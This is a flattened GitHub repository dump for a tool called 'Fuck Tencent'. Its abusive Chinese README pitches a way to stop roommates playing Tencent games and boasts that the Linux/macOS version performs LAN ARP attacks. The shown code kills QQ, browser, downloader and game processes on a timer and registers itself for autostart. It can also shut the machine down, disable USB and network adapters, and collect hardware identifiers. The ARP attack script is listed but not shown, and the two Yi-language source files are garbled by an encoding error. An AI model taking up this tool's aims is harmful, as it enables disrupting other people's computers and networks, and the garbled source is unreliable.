Repository: Great-Li-Xin/Fuck-Tencent
Branch: master
Commit: ab4cc40aa730
Files: 86
Total size: 163.0 KB
Directory structure:
gitextract__gzah7dh/
├── .idea/
│ ├── Fuck-Tencent.iml
│ ├── encodings.xml
│ ├── misc.xml
│ ├── modules.xml
│ ├── vcs.xml
│ └── workspace.xml
├── HWID/
│ ├── .idea/
│ │ ├── HWID.iml
│ │ ├── inspectionProfiles/
│ │ │ └── profiles_settings.xml
│ │ ├── misc.xml
│ │ ├── modules.xml
│ │ ├── vcs.xml
│ │ └── workspace.xml
│ └── HWID.py
├── README.md
├── WindowsPlatform/
│ ├── V 0.0.1/
│ │ ├── eAPI.fne
│ │ ├── internet.fne
│ │ ├── krnln.fnr
│ │ ├── shell.fne
│ │ ├── shellEx.fne
│ │ ├── 源码.txt
│ │ └── 腾迅系傻逼防线.e
│ ├── V 0.0.2/
│ │ ├── eAPI.fne
│ │ ├── internet.fne
│ │ ├── krnln.fnr
│ │ ├── shell.fne
│ │ ├── shellEx.fne
│ │ ├── 源码.txt
│ │ ├── 腾迅系傻逼防线.bak
│ │ └── 腾迅系傻逼防线.e
│ └── V 0.0.3/
│ └── FuckTencent/
│ ├── .vs/
│ │ └── FuckTencent/
│ │ └── v15/
│ │ └── .suo
│ ├── FuckTencent/
│ │ ├── App.config
│ │ ├── Form1.Designer.cs
│ │ ├── Form1.cs
│ │ ├── Form1.resx
│ │ ├── FuckTencent.csproj
│ │ ├── FuckTencent.csproj.user
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── bin/
│ │ │ ├── Debug/
│ │ │ │ ├── FuckTencent.exe.config
│ │ │ │ └── FuckTencent.pdb
│ │ │ └── Release/
│ │ │ ├── FuckTencent.exe.config
│ │ │ └── FuckTencent.pdb
│ │ └── obj/
│ │ ├── Debug/
│ │ │ ├── CoreCompileInputs.cache
│ │ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ │ ├── FuckTencent.Properties.Resources.resources
│ │ │ ├── FuckTencent.csproj.FileListAbsolute.txt
│ │ │ ├── FuckTencent.csproj.GenerateResource.Cache
│ │ │ ├── FuckTencent.csprojResolveAssemblyReference.cache
│ │ │ ├── FuckTencent.pdb
│ │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ │ └── WindowsFormsApp1.FuckTencent.resources
│ │ └── Release/
│ │ ├── CoreCompileInputs.cache
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── FuckTencent.Properties.Resources.resources
│ │ ├── FuckTencent.csproj.FileListAbsolute.txt
│ │ ├── FuckTencent.csproj.GenerateResource.Cache
│ │ ├── FuckTencent.pdb
│ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ └── WindowsFormsApp1.FuckTencent.resources
│ └── FuckTencent.sln
└── macOS&&LinuxPlatform/
├── .idea/
│ ├── encodings.xml
│ ├── inspectionProfiles/
│ │ └── profiles_settings.xml
│ ├── macOS&&LinuxPlatform.iml
│ ├── misc.xml
│ ├── modules.xml
│ ├── vcs.xml
│ └── workspace.xml
├── ARP_attack.py
├── README.md
├── configure.py
├── multi_process_test.py
├── packet.py
├── packet_investigate.py
├── start.py
├── tools.py
└── utils.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .idea/Fuck-Tencent.iml
================================================
================================================
FILE: .idea/encodings.xml
================================================
================================================
FILE: .idea/misc.xml
================================================
================================================
FILE: .idea/modules.xml
================================================
================================================
FILE: .idea/vcs.xml
================================================
================================================
FILE: .idea/workspace.xml
================================================
uuid
1552062371915
1552062371915
================================================
FILE: HWID/.idea/HWID.iml
================================================
================================================
FILE: HWID/.idea/inspectionProfiles/profiles_settings.xml
================================================
================================================
FILE: HWID/.idea/misc.xml
================================================
================================================
FILE: HWID/.idea/modules.xml
================================================
================================================
FILE: HWID/.idea/vcs.xml
================================================
================================================
FILE: HWID/.idea/workspace.xml
================================================
true
DEFINITION_ORDER
project
1488171921538
1488171921538
================================================
FILE: HWID/HWID.py
================================================
#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-
import os
import subprocess
import re
import hashlib
# 对字典取子集
def sub_dict(form_dict, sub_keys, default=None):
return dict([(k, form_dict.get(k.strip(), default)) for k in sub_keys.split(',')])
# 读取cpuinfo信息
# dmidecode -t 4
def read_cpu_info():
cpu_stat = []
with open('/proc/cpuinfo', 'r') as f:
data = f.read()
for line in data.split('\n\n'):
cpu_stat.append(line)
return cpu_stat[-2]
# 读取fdisk信息
def read_f_disk():
p = subprocess.Popen('fdisk -l', stdout=subprocess.PIPE, shell=True)
out = p.communicate()[0]
info = []
for i in out.split('\n\n'):
for x in i.splitlines():
if x:
info.append(x)
return info
# 读取dmidecode信息
def read_dmi_decode():
p = subprocess.Popen('dmidecode -t 1', stdout=subprocess.PIPE, shell=True)
return p.communicate()[0]
# 读取ifconfig信息
def read_ifconfig():
p = subprocess.Popen('ifconfig', stdout=subprocess.PIPE, shell=True)
return p.communicate()[0]
# 返回cpu信息:CPU型号、颗数、核数
def get_cpu_info(data):
cpu_info = {}
for i in data.splitlines():
k, v = [x.strip() for x in i.split(':')]
cpu_info[k] = v
cpu_info['physical id'] = str(int(cpu_info.get('physical id')) + 1)
return sub_dict(cpu_info, 'model name,physical id,cpu cores')
# 返回每块硬盘大小
def get_disk_info(data):
disk_info = {}
m_disk = re.compile(r'^Disk\s/dev')
for i in data:
if m_disk.match(i):
i = i.split(',')[0]
k, v = [x for x in i.split(':')]
disk_info[k] = v
return disk_info
# 返回硬件信息:品牌、型号
def get_dmi_info(data):
dmi_info = {}
line_in = False
for line in data.splitlines():
if line.startswith('System Information'):
line_in = True
continue
if line.startswith('\t') and line_in:
k, v = [i.strip() for i in line.split(':')]
dmi_info[k] = v
else:
line_in = False
return sub_dict(dmi_info, 'Manufacturer,Product Name,Serial Number')
# 返回网卡及ip信息:网卡、IP址、MAC地址
def get_ip_info(data):
data = (i for i in data.split('\n\n') if i and not i.startswith('lo'))
ip_info = []
ifname = re.compile(r'(eth[\d:]*|wlan[\d:]*)')
ipaddr = re.compile(
r'(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})){3}')
macaddr = re.compile(r'[A-F0-9a-f:]{17}')
for i in data:
x = {}
if ifname.match(i):
device = ifname.match(i).group()
x['Adapter'] = device
if macaddr.search(i):
mac = macaddr.search(i).group()
x['MAC'] = mac
if ipaddr.search(i):
ip = ipaddr.search(i).group()
x['IP'] = ip
else:
x['IP'] = None
ip_info.append(x)
return ip_info
# 返回内存及swap大小
def get_mem_info():
mem_info = {}
with open('/proc/meminfo', 'r') as f:
data = f.readlines()
for i in data:
k, v = [x.strip() for x in i.split(':')]
mem_info[k] = int(v.split()[0])
return sub_dict(mem_info, 'MemTotal,SwapTotal')
# 返回操作信息
def get_os_info():
os_info = {}
i = os.uname()
os_info['os_type'] = i[0]
os_info['node_name'] = i[1]
os_info['kernel'] = i[2]
return os_info
# 唯一标识符
def get_identity(data):
global serial, uuid
match_serial = re.compile(r"Serial Number: .*", re.DOTALL)
match_uuid = re.compile(r"UUID: .*", re.DOTALL)
if match_serial.search(data):
serial = match_serial.search(data).group()
if match_uuid.search(data):
uuid = match_uuid.search(data).group()
if serial:
serial_md5 = hashlib.md5(serial).hexdigest()
return serial_md5
elif uuid:
uuid_md5 = hashlib.md5(uuid).hexdigest()
return uuid_md5
if __name__ == "__main__":
ip_info = get_ip_info(read_ifconfig())
dmi_info = get_dmi_info(read_dmi_decode())
cpu_info = get_cpu_info(read_cpu_info())
disk_info = get_disk_info(read_f_disk())
mem_info = get_mem_info()
os_info = get_os_info()
identity = get_identity(read_dmi_decode())
print ip_info
print dmi_info
print cpu_info
print disk_info
print mem_info
print os_info
print identity
================================================
FILE: README.md
================================================
# 小学生杀手+脑残防火墙= Fuck Tencent
本产品不分版本使用易语言编写,杀毒软件可能会误报。
> 呸,这软件都不让安装大流氓360了,能不报吗?
如需要开机启动,请将压缩包内所有文件放于C:\下,请勿放在C盘的文件夹下。
> 放心使用吧,我不是周鸿祎那种流氓
macOS和Linux版本就在自己的电脑上运行python脚本就可以了,局域网ARP攻击棒棒哒。
> 下一个版本开始封锁5000-5500端口,永久封印腾讯游戏
## 为什么要有本软件
作为一个学习党,总是被室友的打游戏的机械键盘声音吵到么,你还总是被室友的室友要被杀死的绝望叫声所震撼么,你还被室友输了游戏以后久久不能释怀的喃喃自语所心烦么。你还在因为室友们喜欢玩腾讯系游戏并且还喊麦。一玩一整天,通宵达旦不是事儿,极端影响睡眠和生活。特别是你想静下心来写代码的时候,身边一个傻逼在打LOL大声喊麦而烦恼吗?
你是有多么想喂他一口翔吃,为了不让您过度愤怒杀了那些个天天玩腾讯系游戏的傻逼,和鼓励大家使用正版游戏(比如Steam和Origin或者Uplay上的大作),以及抵制一些劣质的、无耻的、打着安全知名行苟且之事的所谓杀毒软件,本产品应运而生。不要担心,不要害怕,人贱自有天收,我们来帮你了。
## 本产品提供什么功能
首先,不用说,肯定是提供了屏蔽一切腾讯系软件的功能:禁用QQ,禁用浏览器,禁用下载器,禁用音乐播放器,禁用QQ炫舞,禁止打开CF(穿越火线),禁止打开LOL(英雄联盟),禁止打开QQ飞车,禁止打开逆战,禁止打开DNF(地下城与勇士)。Windows 版本中我们还加入了禁用USB的功能。
之后,我们我们会在下一个版本中:吊销腾讯、奇虎等流氓大厂的证书,让你的电脑永远不受流氓袭扰,也不会被傻逼破坏。
One more thing, macOS和Linux版本已经实现了隔山打牛的功能,欢迎大家尝试。
## 依据相关法律法规,本项目除README.md外,不再更新。
================================================
FILE: WindowsPlatform/V 0.0.1/源码.txt
================================================
.汾 2
.ֿ֧ shellEx
.ֿ֧ eAPI
.ֿ֧ shell
.ֿ֧ internet
. ڳ1
.ӳ _鿴2_
(cmd /c start http://tieba.baidu.com/f?kw=%CF%D4%BF%A8, , 1)
.ӳ _鿴3_
(cmd /c start http://zj.zol.com.cn/, , 1)
.ӳ _ť6_
()
.ӳ ___
עȼ (_.ȡھ (), ǩ1.ȡھ (), 1, #F8)
.ӳ _ǩ1_¼,
. һ,
. ,
. (_. )
_.
.
_.
.
.ӳ _ť1_
ʱ1.ʱ 300
.ӳ _ʱ1_¼
ֹ (qq.exe)
ֹ (txplatform.exe)
ֹ (qqexternal.exe)
.ӳ _ť2_
ʱ2.ʱ 300
.ӳ _ʱ2_¼
ֹ (crossfire.exe)
.ӳ _ť3_
ʱ3.ʱ 300
.ӳ _ʱ3_¼
ֹ (iexplore.exe)
ֹ (sogouexplorer.exe)
ֹ (The world .exe)
ֹ (Firefox.exe)
ֹ (opera.exe)
ֹ (360SE.exe)
ֹ (Chrome.exe)
ֹ (Safari.exe)
ֹ (Maxthon.exe)
ֹ (Netscape.exe)
ֹ (liebao.exe)
.ӳ _ť4_
ʱ4.ʱ 300
.ӳ _ʱ4_¼
ֹ (Thunder.exe)
ֹ (ThunderPlatform.exe)
ֹ (QQDownload.exe)
ֹ (flashget.exe)
.ӳ _ѡ1_
. (ѡ1.ѡ )
Ϣ (ѡп! !ɡ, 0, )
дע (#ػ, software\microsoft\windows\CurrentVersion\Run\Сѧɱ.exe, ȡĿ¼ () C:\Сѧɱ.exe)
.
Ϣ (رտ!ɡ, 0, )
ɾע (#ػ, software\microsoft\windows\CurrentVersion\Run\Сѧɱ.exe)
.
.ӳ _ť5_
ʱ6.ʱ 300
.ӳ _ʱ6_¼
ֹ (LolClient.exe)
.ӳ _ť8_
ʱ7.ʱ 300
.ӳ _ʱ7_¼
ֹ (QQSpeed_loader.exe)
.ӳ _ť7_
(1, , )
.ӳ _ť9_
ʱ8.ʱ 300
.ӳ _ʱ8_¼
ֹ (TGame.exe)
.ӳ _ť12_
ʱ9.ʱ 300
.ӳ _ʱ9_¼
ֹ (KuGou.exe)
ֹ (QQmusic.exe)
ֹ (kwmusic.exe)
ֹ (TTPlayer.exe)
ֹ (DUOMI.exe)
.ӳ _ť13_
ʱ10.ʱ 300
༭1.뷽ʽ 1
༭2.뷽ʽ 1
༭3.뷽ʽ 1
༭4.뷽ʽ 1
.ӳ _ʱ10_¼
ֹ (༭1.ݡ)
ֹ (༭2.ݡ)
ֹ (༭3.ݡ)
ֹ (༭4.ݡ)
.ӳ _ť14_
ʱ10.ʱ 0
.ӳ _ť17_
ʱ12.ʱ (༭1.) 60000
༭1.뷽ʽ 1
.ӳ _ʱ12_¼
رϵͳ (1, )
.ӳ _ť11_
ʱ13.ʱ 300
.ӳ _ʱ13_¼
ֹ (DNFchina.exe)
.ӳ _ť10_
ʱ14.ʱ 300
.ӳ _ʱ14_¼
ֹ (ui_launch_dx.exe)
.ӳ _ť15_
. (༭6. )
Ϣ (벻ԿɿƲСѧŶ, 0, ʾ)
.
ʱ (1000)
ʱ15.ʱ 3000
ʱ16.ʱ 0
.
.ӳ _ʱ15_¼
ǩ1. ı (ȡQQ (༭6.))
. (ǩ1. ٶԿɡ)
(shutdown -s, , )
.
.
.ӳ ȡQQ, ı,
. QQ, ı
.ֲ ı, ı
.ֲ ָ, ı, , "0"
ı ı (HTTPļ ( http://base.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg?uins= QQ))
ָ ָı (ı, #, )
ָ ָı (ָ [ȡԱ (ָ) 1], # ,0]}) #, )
. (ȡԱ (ָ) 0)
(ٲ)
.
(ָ [1])
.ӳ _ʱ16_¼
ǩ15. ı (ȡQQ (༭6.))
================================================
FILE: WindowsPlatform/V 0.0.2/源码.txt
================================================
.汾 2
.ֿ֧ eAPI
. ڳ_
.ӳ _˳_
()
.ӳ ___
.ӳ _ѡ1_
. (ѡ1.ѡ )
Ϣ (ѡп! !ɡ, 0, , )
дע (#ػ, software\microsoft\windows\CurrentVersion\Run\ѶϵɵƷ.exe, ȡĿ¼ () C:\ѶϵɵƷ.exe)
.
Ϣ (رտ!ɡ, 0, , )
ɾע (#ػ, software\microsoft\windows\CurrentVersion\Run\ѸϵɵƷ.exe)
.
.ӳ _ť1_
ʱ1.ʱ 300
.ӳ _ʱ1_¼
ֹ (qq.exe)
ֹ (txplatform.exe)
ֹ (qqexternal.exe)
.ӳ _ť2_
ʱ2.ʱ 300
.ӳ _ʱ2_¼
ֹ (crossfire.exe)
.ӳ _ť3_
ʱ3.ʱ 300
.ӳ _ʱ3_¼
ֹ (iexplore.exe)
ֹ (sogouexplorer.exe)
ֹ (The world .exe)
ֹ (Firefox.exe)
ֹ (opera.exe)
ֹ (360SE.exe)
ֹ (Chrome.exe)
ֹ (Safari.exe)
ֹ (Maxthon.exe)
ֹ (Netscape.exe)
ֹ (liebao.exe)
.ӳ _ť4_
ʱ4.ʱ 300
.ӳ _ʱ4_¼
ֹ (Thunder.exe)
ֹ (ThunderPlatform.exe)
ֹ (QQDownload.exe)
ֹ (flashget.exe)
.ӳ _ť5_
ʱ6.ʱ 300
.ӳ _ʱ5_¼
ֹ (LolClient.exe)
.ӳ _ť6_
ʱ7.ʱ 300
.ӳ _ʱ6_¼
ֹ (QQSpeed_loader.exe)
.ӳ _ť7_
ʱ8.ʱ 300
.ӳ _ʱ7_¼
ֹ (TGame.exe)
.ӳ _ť8_
ʱ9.ʱ 300
.ӳ _ʱ8_¼
ֹ (KuGou.exe)
ֹ (QQmusic.exe)
ֹ (kwmusic.exe)
ֹ (TTPlayer.exe)
ֹ (DUOMI.exe)
.ӳ _ť9_
ʱ9.ʱ 300
.ӳ _ʱ9_¼
ֹ (DNFchina.exe)
.ӳ _ť10_
ʱ10.ʱ 300
.ӳ _ʱ10_¼
ֹ (ui_launch_dx.exe)
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/App.config
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Form1.Designer.cs
================================================
namespace WindowsFormsApp1
{
partial class FuckTencent
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.tabControlInstruction = new System.Windows.Forms.TabControl();
this.tabPageSoftware = new System.Windows.Forms.TabPage();
this.checkBoxQQui = new System.Windows.Forms.CheckBox();
this.checkBoxTGame = new System.Windows.Forms.CheckBox();
this.checkBoxDNF = new System.Windows.Forms.CheckBox();
this.checkBoxCF = new System.Windows.Forms.CheckBox();
this.checkBoxQQ = new System.Windows.Forms.CheckBox();
this.checkBoxQQSpd = new System.Windows.Forms.CheckBox();
this.buttonSoftware = new System.Windows.Forms.Button();
this.checkBoxPlayer = new System.Windows.Forms.CheckBox();
this.checkBoxLOL = new System.Windows.Forms.CheckBox();
this.checkBoxExplorer = new System.Windows.Forms.CheckBox();
this.checkBoxDownload = new System.Windows.Forms.CheckBox();
this.tabPageHardware = new System.Windows.Forms.TabPage();
this.checkBoxBT = new System.Windows.Forms.CheckBox();
this.checkBoxLan = new System.Windows.Forms.CheckBox();
this.checkBoxWifi = new System.Windows.Forms.CheckBox();
this.checkBoxUSB = new System.Windows.Forms.CheckBox();
this.buttonHardware = new System.Windows.Forms.Button();
this.labelTitle = new System.Windows.Forms.Label();
this.timerBT = new System.Windows.Forms.Timer(this.components);
this.timerWifi = new System.Windows.Forms.Timer(this.components);
this.timerLan = new System.Windows.Forms.Timer(this.components);
this.timerQQ = new System.Windows.Forms.Timer(this.components);
this.timerExplorer = new System.Windows.Forms.Timer(this.components);
this.timerLOL = new System.Windows.Forms.Timer(this.components);
this.timerCF = new System.Windows.Forms.Timer(this.components);
this.timerTGame = new System.Windows.Forms.Timer(this.components);
this.timerQQSpd = new System.Windows.Forms.Timer(this.components);
this.timerQQui = new System.Windows.Forms.Timer(this.components);
this.timerDNF = new System.Windows.Forms.Timer(this.components);
this.timerPlayer = new System.Windows.Forms.Timer(this.components);
this.timerDownload = new System.Windows.Forms.Timer(this.components);
this.timerUSB = new System.Windows.Forms.Timer(this.components);
this.tabControlInstruction.SuspendLayout();
this.tabPageSoftware.SuspendLayout();
this.tabPageHardware.SuspendLayout();
this.SuspendLayout();
//
// tabControlInstruction
//
this.tabControlInstruction.Controls.Add(this.tabPageSoftware);
this.tabControlInstruction.Controls.Add(this.tabPageHardware);
this.tabControlInstruction.Location = new System.Drawing.Point(19, 54);
this.tabControlInstruction.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.tabControlInstruction.Name = "tabControlInstruction";
this.tabControlInstruction.SelectedIndex = 0;
this.tabControlInstruction.Size = new System.Drawing.Size(277, 232);
this.tabControlInstruction.TabIndex = 0;
//
// tabPageSoftware
//
this.tabPageSoftware.Controls.Add(this.checkBoxQQui);
this.tabPageSoftware.Controls.Add(this.checkBoxTGame);
this.tabPageSoftware.Controls.Add(this.checkBoxDNF);
this.tabPageSoftware.Controls.Add(this.checkBoxCF);
this.tabPageSoftware.Controls.Add(this.checkBoxQQ);
this.tabPageSoftware.Controls.Add(this.checkBoxQQSpd);
this.tabPageSoftware.Controls.Add(this.buttonSoftware);
this.tabPageSoftware.Controls.Add(this.checkBoxPlayer);
this.tabPageSoftware.Controls.Add(this.checkBoxLOL);
this.tabPageSoftware.Controls.Add(this.checkBoxExplorer);
this.tabPageSoftware.Controls.Add(this.checkBoxDownload);
this.tabPageSoftware.Location = new System.Drawing.Point(4, 26);
this.tabPageSoftware.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.tabPageSoftware.Name = "tabPageSoftware";
this.tabPageSoftware.Padding = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.tabPageSoftware.Size = new System.Drawing.Size(269, 202);
this.tabPageSoftware.TabIndex = 0;
this.tabPageSoftware.Text = "禁用游戏和软件";
this.tabPageSoftware.UseVisualStyleBackColor = true;
//
// checkBoxQQui
//
this.checkBoxQQui.AutoSize = true;
this.checkBoxQQui.Location = new System.Drawing.Point(128, 104);
this.checkBoxQQui.Name = "checkBoxQQui";
this.checkBoxQQui.Size = new System.Drawing.Size(95, 21);
this.checkBoxQQui.TabIndex = 9;
this.checkBoxQQui.Text = "禁用QQ炫舞";
this.checkBoxQQui.UseVisualStyleBackColor = true;
//
// checkBoxTGame
//
this.checkBoxTGame.AutoSize = true;
this.checkBoxTGame.Location = new System.Drawing.Point(128, 50);
this.checkBoxTGame.Name = "checkBoxTGame";
this.checkBoxTGame.Size = new System.Drawing.Size(75, 21);
this.checkBoxTGame.TabIndex = 10;
this.checkBoxTGame.Text = "禁用逆战";
this.checkBoxTGame.UseVisualStyleBackColor = true;
//
// checkBoxDNF
//
this.checkBoxDNF.AutoSize = true;
this.checkBoxDNF.Location = new System.Drawing.Point(128, 131);
this.checkBoxDNF.Name = "checkBoxDNF";
this.checkBoxDNF.Size = new System.Drawing.Size(123, 21);
this.checkBoxDNF.TabIndex = 8;
this.checkBoxDNF.Text = "禁用地下城与勇士";
this.checkBoxDNF.UseVisualStyleBackColor = true;
//
// checkBoxCF
//
this.checkBoxCF.AutoSize = true;
this.checkBoxCF.Location = new System.Drawing.Point(128, 23);
this.checkBoxCF.Name = "checkBoxCF";
this.checkBoxCF.Size = new System.Drawing.Size(99, 21);
this.checkBoxCF.TabIndex = 5;
this.checkBoxCF.Text = "禁用穿越火线";
this.checkBoxCF.UseVisualStyleBackColor = true;
//
// checkBoxQQ
//
this.checkBoxQQ.AutoSize = true;
this.checkBoxQQ.Location = new System.Drawing.Point(23, 23);
this.checkBoxQQ.Name = "checkBoxQQ";
this.checkBoxQQ.Size = new System.Drawing.Size(71, 21);
this.checkBoxQQ.TabIndex = 1;
this.checkBoxQQ.Text = "禁用QQ";
this.checkBoxQQ.UseVisualStyleBackColor = true;
//
// checkBoxQQSpd
//
this.checkBoxQQSpd.AutoSize = true;
this.checkBoxQQSpd.Location = new System.Drawing.Point(128, 77);
this.checkBoxQQSpd.Name = "checkBoxQQSpd";
this.checkBoxQQSpd.Size = new System.Drawing.Size(95, 21);
this.checkBoxQQSpd.TabIndex = 7;
this.checkBoxQQSpd.Text = "禁用QQ飞车";
this.checkBoxQQSpd.UseVisualStyleBackColor = true;
//
// buttonSoftware
//
this.buttonSoftware.Location = new System.Drawing.Point(128, 158);
this.buttonSoftware.Name = "buttonSoftware";
this.buttonSoftware.Size = new System.Drawing.Size(75, 23);
this.buttonSoftware.TabIndex = 0;
this.buttonSoftware.Text = "保存生效";
this.buttonSoftware.UseVisualStyleBackColor = true;
this.buttonSoftware.Click += new System.EventHandler(this.buttonSoftware_Click);
//
// checkBoxPlayer
//
this.checkBoxPlayer.AutoSize = true;
this.checkBoxPlayer.Location = new System.Drawing.Point(23, 104);
this.checkBoxPlayer.Name = "checkBoxPlayer";
this.checkBoxPlayer.Size = new System.Drawing.Size(87, 21);
this.checkBoxPlayer.TabIndex = 4;
this.checkBoxPlayer.Text = "禁用播放器";
this.checkBoxPlayer.UseVisualStyleBackColor = true;
//
// checkBoxLOL
//
this.checkBoxLOL.AutoSize = true;
this.checkBoxLOL.Location = new System.Drawing.Point(23, 131);
this.checkBoxLOL.Name = "checkBoxLOL";
this.checkBoxLOL.Size = new System.Drawing.Size(99, 21);
this.checkBoxLOL.TabIndex = 6;
this.checkBoxLOL.Text = "禁用英雄联盟";
this.checkBoxLOL.UseVisualStyleBackColor = true;
//
// checkBoxExplorer
//
this.checkBoxExplorer.AutoSize = true;
this.checkBoxExplorer.Location = new System.Drawing.Point(23, 50);
this.checkBoxExplorer.Name = "checkBoxExplorer";
this.checkBoxExplorer.Size = new System.Drawing.Size(87, 21);
this.checkBoxExplorer.TabIndex = 2;
this.checkBoxExplorer.Text = "禁用浏览器";
this.checkBoxExplorer.UseVisualStyleBackColor = true;
//
// checkBoxDownload
//
this.checkBoxDownload.AutoSize = true;
this.checkBoxDownload.Location = new System.Drawing.Point(23, 77);
this.checkBoxDownload.Name = "checkBoxDownload";
this.checkBoxDownload.Size = new System.Drawing.Size(87, 21);
this.checkBoxDownload.TabIndex = 3;
this.checkBoxDownload.Text = "禁用下载器";
this.checkBoxDownload.UseVisualStyleBackColor = true;
//
// tabPageHardware
//
this.tabPageHardware.Controls.Add(this.checkBoxBT);
this.tabPageHardware.Controls.Add(this.checkBoxLan);
this.tabPageHardware.Controls.Add(this.checkBoxWifi);
this.tabPageHardware.Controls.Add(this.checkBoxUSB);
this.tabPageHardware.Controls.Add(this.buttonHardware);
this.tabPageHardware.Location = new System.Drawing.Point(4, 26);
this.tabPageHardware.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.tabPageHardware.Name = "tabPageHardware";
this.tabPageHardware.Padding = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.tabPageHardware.Size = new System.Drawing.Size(269, 202);
this.tabPageHardware.TabIndex = 1;
this.tabPageHardware.Text = "禁用USB和网卡";
this.tabPageHardware.UseVisualStyleBackColor = true;
//
// checkBoxBT
//
this.checkBoxBT.AutoSize = true;
this.checkBoxBT.Location = new System.Drawing.Point(23, 50);
this.checkBoxBT.Name = "checkBoxBT";
this.checkBoxBT.Size = new System.Drawing.Size(75, 21);
this.checkBoxBT.TabIndex = 4;
this.checkBoxBT.Text = "禁用蓝牙";
this.checkBoxBT.UseVisualStyleBackColor = true;
//
// checkBoxLan
//
this.checkBoxLan.AutoSize = true;
this.checkBoxLan.Location = new System.Drawing.Point(23, 104);
this.checkBoxLan.Name = "checkBoxLan";
this.checkBoxLan.Size = new System.Drawing.Size(99, 21);
this.checkBoxLan.TabIndex = 3;
this.checkBoxLan.Text = "禁用有线网卡";
this.checkBoxLan.UseVisualStyleBackColor = true;
//
// checkBoxWifi
//
this.checkBoxWifi.AutoSize = true;
this.checkBoxWifi.Location = new System.Drawing.Point(23, 77);
this.checkBoxWifi.Name = "checkBoxWifi";
this.checkBoxWifi.Size = new System.Drawing.Size(99, 21);
this.checkBoxWifi.TabIndex = 2;
this.checkBoxWifi.Text = "禁用无线网卡";
this.checkBoxWifi.UseVisualStyleBackColor = true;
//
// checkBoxUSB
//
this.checkBoxUSB.AutoSize = true;
this.checkBoxUSB.Location = new System.Drawing.Point(23, 23);
this.checkBoxUSB.Name = "checkBoxUSB";
this.checkBoxUSB.Size = new System.Drawing.Size(72, 21);
this.checkBoxUSB.TabIndex = 1;
this.checkBoxUSB.Text = "禁用USB";
this.checkBoxUSB.UseVisualStyleBackColor = true;
//
// buttonHardware
//
this.buttonHardware.Location = new System.Drawing.Point(23, 131);
this.buttonHardware.Name = "buttonHardware";
this.buttonHardware.Size = new System.Drawing.Size(75, 23);
this.buttonHardware.TabIndex = 0;
this.buttonHardware.Text = "保存生效";
this.buttonHardware.UseVisualStyleBackColor = true;
this.buttonHardware.Click += new System.EventHandler(this.buttonHardware_Click);
//
// labelTitle
//
this.labelTitle.AutoSize = true;
this.labelTitle.Font = new System.Drawing.Font("微软雅黑", 24F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.labelTitle.ForeColor = System.Drawing.Color.Purple;
this.labelTitle.Location = new System.Drawing.Point(12, 9);
this.labelTitle.Name = "labelTitle";
this.labelTitle.Size = new System.Drawing.Size(219, 41);
this.labelTitle.TabIndex = 1;
this.labelTitle.Text = "Fuck Tencent";
//
// timerBT
//
this.timerBT.Tick += new System.EventHandler(this.timerBT_Tick);
//
// timerWifi
//
this.timerWifi.Tick += new System.EventHandler(this.timerWifi_Tick);
//
// timerLan
//
this.timerLan.Tick += new System.EventHandler(this.timerLan_Tick);
//
// timerQQ
//
this.timerQQ.Tick += new System.EventHandler(this.timerQQ_Tick);
//
// timerExplorer
//
this.timerExplorer.Tick += new System.EventHandler(this.timerExplorer_Tick);
//
// timerLOL
//
this.timerLOL.Tick += new System.EventHandler(this.timerLOL_Tick);
//
// timerCF
//
this.timerCF.Tick += new System.EventHandler(this.timerCF_Tick);
//
// timerTGame
//
this.timerTGame.Tick += new System.EventHandler(this.timerTGame_Tick);
//
// timerQQSpd
//
this.timerQQSpd.Tick += new System.EventHandler(this.timerQQSpd_Tick);
//
// timerQQui
//
this.timerQQui.Tick += new System.EventHandler(this.timerQQui_Tick);
//
// timerDNF
//
this.timerDNF.Tick += new System.EventHandler(this.timerDNF_Tick);
//
// timerPlayer
//
this.timerPlayer.Tick += new System.EventHandler(this.timerPlayer_Tick);
//
// timerDownload
//
this.timerDownload.Tick += new System.EventHandler(this.timerDownload_Tick);
//
// timerUSB
//
this.timerUSB.Tick += new System.EventHandler(this.timerUSB_Tick);
//
// FuckTencent
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.GhostWhite;
